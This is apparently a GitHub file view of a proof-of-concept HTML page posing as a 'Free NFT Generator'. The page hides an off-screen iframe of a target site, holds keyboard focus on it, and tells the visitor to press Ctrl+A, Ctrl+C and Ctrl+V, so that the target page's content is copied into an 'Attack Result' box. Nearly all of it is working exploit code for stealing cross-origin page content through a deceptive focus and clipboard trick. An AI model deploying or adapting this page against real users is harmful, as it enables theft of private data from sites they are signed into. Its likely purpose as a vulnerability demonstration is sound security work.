-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpoc2.html
More file actions
181 lines (160 loc) · 5.74 KB
/
Copy pathpoc2.html
File metadata and controls
181 lines (160 loc) · 5.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<!DOCTYPE html>
<html>
<head>
<title>Free NFT Generator</title>
<style>
#iframe-container {
position: absolute;
left: -9999px;
top: -9999px;
width: 0;
height: 0;
overflow: hidden;
}
iframe {
width: 800px;
height: 500px;
border: 1px solid black;
}
#output {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
min-height: 200px;
white-space: pre-wrap;
}
.instructions {
background-color: #ffffcc;
padding: 10px;
margin: 10px 0;
border: 1px solid #e5e5e5;
}
.status {
color: #666;
font-style: italic;
margin-top: 5px;
}
.main-content {
padding: 20px;
background-color: #f9f9f9;
border-radius: 5px;
margin-bottom: 20px;
}
#focus-trap {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: transparent;
z-index: -1;
pointer-events: none;
}
.key-combo {
background-color: #f0f0f0;
border: 1px solid #ccc;
border-radius: 3px;
padding: 2px 5px;
font-family: monospace;
font-weight: bold;
}
</style>
</head>
<body>
<div id="focus-trap"></div>
<h1>giftgen 2.0 😎</h1>
<div class="main-content">
<h2>Free NFT Generator</h2>
<p>This tool generated free NFTs for you. Definitely not a PoC for some random thingy</p>
<p>Simply press <span class="key-combo">Ctrl+A</span>, then <span class="key-combo">Ctrl+C</span>, and finally <span class="key-combo">Ctrl+V</span> in the box below to analyze the atomic structure of the universe.</p>
</div>
<div class="instructions">
<h3>Instructions:</h3>
<ol>
<li>Hold down control <span class="key-combo">Ctrl</span> and then type <span class="key-combo">acv</span></li>
</ol>
<p class="status" id="status">Waiting for your input...</p>
</div>
<div id="iframe-container">
<iframe id="target-frame" src="https://example.com/" tabindex="1"></iframe>
</div>
<div>
<h2>Attack Result (this box can be hidden):</h2>
<pre id="output" contenteditable="true" spellcheck="false" placeholder="Paste content here with Ctrl+V"></pre>
</div>
<script>
let focusInterval;
let isFocusActive = false;
// I have NO IDEA why there is a seperate outputActive and focusOnIframe but when I delete one it breaks the PoC
let outputActive = false;
let actionCounter = 0;
let focusOnIframe = true;
let lastActivation = 0;
const ACTIVATION_DEBOUNCE = 600; // ms
let mainPagePause = false;
let mainPagePauseTimeout = null;
const MAIN_PAGE_PAUSE_TIME = 2000; // ms
// Function to focus the iframe
function focusIframe() {
console.log(``);
if ((focusOnIframe && !outputActive && !mainPagePause)) {
const iframe = document.getElementById('target-frame');
iframe.focus();
if (iframe.contentWindow) {
iframe.contentWindow.focus();
isFocusActive = true;
}
}
}
// Function to focus the output area
function focusOutput() {
const output = document.getElementById('output');
output.focus();
outputActive = true;
focusOnIframe = false;
}
// Listen for user actions on the main site
['click', 'mousedown', 'mouseup', 'keydown', 'focusin'].forEach(eventType => {
document.addEventListener(eventType, function(e) {
// If the output box is focused, stop focusing the iframe
if (e.target.id === 'output') {
outputActive = true;
focusOnIframe = false;
} else if (e.target.id !== 'target-frame') {
// Pause all PoC logic for a while if user interacts with main page
mainPagePause = true;
clearTimeout(mainPagePauseTimeout);
mainPagePauseTimeout = setTimeout(() => {
mainPagePause = false;
}, MAIN_PAGE_PAUSE_TIME);
}
}, true);
});
// Handle paste event in the output area
document.getElementById('output').addEventListener('paste', function(e) {
outputActive = true;
focusOnIframe = false;
});
// Detect user activation in iframe and count actions (debounced)
function detectUserActivation() {
if (focusOnIframe && !outputActive && !mainPagePause && navigator.userActivation.isActive) {
const now = Date.now();
if (now - lastActivation > ACTIVATION_DEBOUNCE) {
actionCounter++;
lastActivation = now;
if (actionCounter === 2) {
setTimeout(() => {
focusOutput();
}, 100);
}
}
}
}
// Check for user activation periodically
setInterval(detectUserActivation, 100);
window.addEventListener('load', () => {
focusInterval = setInterval(focusIframe, 100);
});
</script>
</body>
</html>